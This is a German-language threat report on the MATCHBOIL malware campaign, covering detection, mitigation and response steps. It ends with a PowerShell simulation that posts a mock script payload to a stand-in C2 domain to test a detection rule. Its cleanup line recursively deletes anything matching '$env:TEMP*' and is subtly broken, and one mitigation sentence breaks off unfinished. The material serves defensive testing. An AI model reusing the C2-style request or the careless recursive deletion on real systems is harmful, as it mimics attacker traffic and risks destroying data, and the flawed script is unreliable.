MATCHBOIL-Malware-Kampagne führt neue Techniken für persistente Angriffe ein

Zusammenfassung

UAC-0099, eine mit Russland ausgerichtete APT-Gruppe, hat ihren MATCHBOIL C# Downloader zwischen 2024 und 2026 erheblich weiterentwickelt. Die Malware wird verwendet, um sekundäre Payloads wie die MATCHWOK-Backdoor herunterzuladen, bereitzustellen und persistenz zu gewährleisten. Neuere Varianten integrieren stärkere Verschleierung mit .NET Reactor, Sandbox-Umgehungstechniken und zunehmend ausgeklügelte C2-Kommunikationsmethoden.

Untersuchung

ESET-Forscher führten eine chronologische Analyse der durch Telemetrie und VirusTotal-Einreichungen identifizierten MATCHBOIL-Varianten durch. Die Untersuchung dokumentierte die Entwicklung der Malware von grundlegender Unicode-Verschleierung zu fortgeschrittener Code-Virtualisierung und GUI-basierter Benutzer-Täuschung. Forscher dekompilierten auch C#-Komponenten, um WMI-Abfragen, HTTPS-Kommunikationslogik und Persistenztechniken zu untersuchen.

Minderung

Organisationen sollten auf verdächtige C#-Ausführung und unerwartete geplante Aufgaben oder Registry-Änderungen innerhalb von Benutzerprofilverzeichnissen achten. Die Endpunkt-Erkennung sollte unautorisierte WMI-Abfragen und ungewöhnlichen ausgehenden HTTPS-Verkehr zu bisher nicht charakterisierten Domains identifizieren. Sicherheitsteams sollten auch auf bekannte bösartige Dateinamen und verdächtige Befehlszeilenargumente wie -auto or -plans.

Reaktion

Wenn MATCHBOIL-Aktivität festgestellt wird, isolieren Sie die betroffenen Hosts, um eine weitere Payload-Auslieferung und C2-Kommunikation zu verhindern. Führen Sie eine umfassende forensische Untersuchung durch, um den anfänglichen Infektionsvektor zu bestimmen, der wahrscheinlich Spear-Phishing ist. Überprüfen Sie Registrierungs-Runschlüssel und geplante Aufgaben auf unautorisierte Einträge und prüfen Sie kompromittierte Systeme auf sekundäre Payloads wie MATCHWOK.

Simulation Ausführung

• Angriffserzählung & Befehle: Der Gegner versucht, einen Kommando- und Steuerungs (C2)-Kanal zu etablieren, um Anweisungen zu erhalten und zusätzliche Module herunterzuladen. Um einfaches IP-basiertes Blockieren zu umgehen, verwendet der Angreifer eine unter einer gemeinsamen TLD registrierte Domain (.pro). Der Angreifer simuliert die „MATCHBOIL“-Technik, indem er eine HTTPS-Anfrage sendet, bei der die Nutzlast ein eingebettetes <script> Block enthält, der die Lieferung von bösartigen hex-kodierten Anweisungen nachahmt, die als Webinhalt getarnt sind. Dies soll sowohl die auf Domains basierende Bedingung als auch die Nutzlast-basierte Bedingung der Erkennungsregel auslösen.

• Regression Test Script:

  # Simulation der MATCHBOIL C2-Kommunikation
  # Dieses Skript führt eine HTTPS-Anfrage an eine .pro-Domain durch, die einen Skript-Tag in der Nutzlast/des Bodys enthält.
  
  $targetUrl = "https://test-matchboil-c2.pro/api/v1/update"
  $maliciousPayload = "<script>eval(hex_decode('414243'))</script>"
  
  try {
      Write-Host "[+] Versuch der C2-Kommunikation zu $targetUrl" -ForegroundColor Cyan
      Invoke-RestMethod -Uri $targetUrl -Method Post -Body $maliciousPayload -ContentType "application/octet-stream"
  }
  catch {
      Write-Host "[!] Anforderung abgeschlossen (Erwartetes Scheitern, wenn Domain nicht existiert, aber Telemetrie sollte trotzdem erfasst werden)" -ForegroundColor Yellow
  }

• Bereinigungsbefehle:

  # Keine permanenten Änderungen durch das Skript vorgenommen. 
  # Stellen Sie nur sicher, dass lokale temporäre Dateien entfernt werden, die während des Tests erstellt wurden.
  Remove-Item -Path "$env:TEMP*" -Recurse -ErrorAction SilentlyContinue